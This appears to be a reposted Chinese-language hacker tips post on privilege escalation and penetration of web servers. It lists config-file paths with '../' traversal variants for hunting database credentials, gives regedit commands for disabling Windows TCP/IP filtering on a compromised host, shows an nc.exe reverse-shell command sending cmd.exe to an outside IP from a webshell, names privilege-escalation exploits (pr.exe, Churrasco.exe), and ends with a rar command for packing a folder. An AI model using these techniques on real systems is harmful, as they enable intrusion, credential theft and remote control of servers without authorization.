提權、滲透、經驗、技巧總結大全四

各種網站的配置檔案相對路徑大全：

/config.php

<a href="http://www.cnblogs.com/config.php" target="_blank">http://www.cnblogs.com/config.php</a>

../config.php

<a href="http://www.cnblogs.com/config.php" target="_blank">http://www.cnblogs.com/../config.php</a>

/config.inc.php

./config.inc.php

<a href="http://www.cnblogs.com/config.inc.php" target="_blank">http://www.cnblogs.com/config.inc.php</a>

../config.inc.php

<a href="http://www.cnblogs.com/config.inc.php" target="_blank">http://www.cnblogs.com/../config.inc.php</a>

/conn.php

./conn.php

<a href="http://www.cnblogs.com/conn.php" target="_blank">http://www.cnblogs.com/conn.php</a>

../conn.php

<a href="http://www.cnblogs.com/conn.php" target="_blank">http://www.cnblogs.com/../conn.php</a>

/conn.asp

./conn.asp

<a href="http://www.cnblogs.com/conn.asp" target="_blank">http://www.cnblogs.com/conn.asp</a>

../conn.asp

<a href="http://www.cnblogs.com/conn.asp" target="_blank">http://www.cnblogs.com/../conn.asp</a>

/config/config.php

<a href="http://www.cnblogs.com/config/config.php" target="_blank">http://www.cnblogs.com/config/config.php</a>

../config/config.php

<a href="http://www.cnblogs.com/config/config.php" target="_blank">http://www.cnblogs.com/../config/config.php</a>

/config/config.inc.php

./config/config.inc.php

<a href="http://www.cnblogs.com/config/config.inc.php" target="_blank">http://www.cnblogs.com/config/config.inc.php</a>

../config/config.inc.php

<a href="http://www.cnblogs.com/config/config.inc.php" target="_blank">http://www.cnblogs.com/../config/config.inc.php</a>

/config/conn.php

./config/conn.php

<a href="http://www.cnblogs.com/config/conn.php" target="_blank">http://www.cnblogs.com/config/conn.php</a>

../config/conn.php

<a href="http://www.cnblogs.com/config/conn.php" target="_blank">http://www.cnblogs.com/../config/conn.php</a>

/config/conn.asp

./config/conn.asp

<a href="http://www.cnblogs.com/config/conn.asp" target="_blank">http://www.cnblogs.com/config/conn.asp</a>

../config/conn.asp

<a href="http://www.cnblogs.com/config/conn.asp" target="_blank">http://www.cnblogs.com/../config/conn.asp</a>

/data/config.php

<a href="http://www.cnblogs.com/data/config.php" target="_blank">http://www.cnblogs.com/data/config.php</a>

../data/config.php

<a href="http://www.cnblogs.com/data/config.php" target="_blank">http://www.cnblogs.com/../data/config.php</a>

/data/config.inc.php

./data/config.inc.php

<a href="http://www.cnblogs.com/data/config.inc.php" target="_blank">http://www.cnblogs.com/data/config.inc.php</a>

../data/config.inc.php

<a href="http://www.cnblogs.com/data/config.inc.php" target="_blank">http://www.cnblogs.com/../data/config.inc.php</a>

/data/conn.php

./data/conn.php

<a href="http://www.cnblogs.com/data/conn.php" target="_blank">http://www.cnblogs.com/data/conn.php</a>

../data/conn.php

<a href="http://www.cnblogs.com/data/conn.php" target="_blank">http://www.cnblogs.com/../data/conn.php</a>

/data/conn.asp

./data/conn.asp

<a href="http://www.cnblogs.com/data/conn.asp" target="_blank">http://www.cnblogs.com/data/conn.asp</a>

../data/conn.asp

<a href="http://www.cnblogs.com/data/conn.asp" target="_blank">http://www.cnblogs.com/../data/conn.asp</a>

/include/config.php

<a href="http://www.cnblogs.com/include/config.php" target="_blank">http://www.cnblogs.com/include/config.php</a>

../include/config.php

<a href="http://www.cnblogs.com/include/config.php" target="_blank">http://www.cnblogs.com/../include/config.php</a>

/include/config.inc.php

./include/config.inc.php

<a href="http://www.cnblogs.com/include/config.inc.php" target="_blank">http://www.cnblogs.com/include/config.inc.php</a>

../include/config.inc.php

<a href="http://www.cnblogs.com/include/config.inc.php" target="_blank">http://www.cnblogs.com/../include/config.inc.php</a>

/include/conn.php

./include/conn.php

<a href="http://www.cnblogs.com/include/conn.php" target="_blank">http://www.cnblogs.com/include/conn.php</a>

../include/conn.php

<a href="http://www.cnblogs.com/include/conn.php" target="_blank">http://www.cnblogs.com/../include/conn.php</a>

/include/conn.asp

./include/conn.asp

<a href="http://www.cnblogs.com/include/conn.asp" target="_blank">http://www.cnblogs.com/include/conn.asp</a>

../include/conn.asp

<a href="http://www.cnblogs.com/include/conn.asp" target="_blank">http://www.cnblogs.com/../include/conn.asp</a>

/inc/config.php

<a href="http://www.cnblogs.com/inc/config.php" target="_blank">http://www.cnblogs.com/inc/config.php</a>

../inc/config.php

<a href="http://www.cnblogs.com/inc/config.php" target="_blank">http://www.cnblogs.com/../inc/config.php</a>

/inc/config.inc.php

./inc/config.inc.php

<a href="http://www.cnblogs.com/inc/config.inc.php" target="_blank">http://www.cnblogs.com/inc/config.inc.php</a>

../inc/config.inc.php

<a href="http://www.cnblogs.com/inc/config.inc.php" target="_blank">http://www.cnblogs.com/../inc/config.inc.php</a>

/inc/conn.php

./inc/conn.php

<a href="http://www.cnblogs.com/inc/conn.php" target="_blank">http://www.cnblogs.com/inc/conn.php</a>

../inc/conn.php

<a href="http://www.cnblogs.com/inc/conn.php" target="_blank">http://www.cnblogs.com/../inc/conn.php</a>

/inc/conn.asp

./inc/conn.asp

<a href="http://www.cnblogs.com/inc/conn.asp" target="_blank">http://www.cnblogs.com/inc/conn.asp</a>

../inc/conn.asp

<a href="http://www.cnblogs.com/inc/conn.asp" target="_blank">http://www.cnblogs.com/../inc/conn.asp</a>

/index.php

./index.php

<a href="http://www.cnblogs.com/index.php" target="_blank">http://www.cnblogs.com/index.php</a>

../index.php

<a href="http://www.cnblogs.com/index.php" target="_blank">http://www.cnblogs.com/../index.php</a>

/index.asp

./index.asp

<a href="http://www.cnblogs.com/index.asp" target="_blank">http://www.cnblogs.com/index.asp</a>

../index.asp

<a href="http://www.cnblogs.com/index.asp" target="_blank">http://www.cnblogs.com/../index.asp</a>

去除TCP IP篩選：

TCP/IP篩選在系統資料庫裡有三處，分别是：

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip 

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用以下指令來導出系統資料庫項：

regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip 

regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip 

regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

然後再把三個檔案裡的：

“EnableSecurityFilters"=dword:00000001”

改為：

“EnableSecurityFilters"=dword:00000000”

再将以上三個檔案分别用以下指令導入系統資料庫即可：

regedit -s D:\a.reg 

regedit -s D:\b.reg 

regedit -s D:\c.reg 

Webshell 提權小技巧：

Cmd路徑：c:\windows\temp\cmd.exe

Nc 也在同目錄下，例如反彈cmdshell：

"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"

通常都不會成功。

而直接在 cmd 路徑上輸入：c:\windows\temp\nc.exe

指令輸入：-vv ip 999 -e c:\windows\temp\cmd.exe

卻能成功。。這個不是重點

我們通常執行 pr.exe 或 Churrasco.exe 的時候也需要按照上面的方法才能成功。

指令行調用 RAR 打包：

rar a -k -r -s -m3 c:\1.rar c:\folder

 本文轉自gaodi2002 51CTO部落格，原文連結:http://blog.51cto.com/gaodi2002/1618133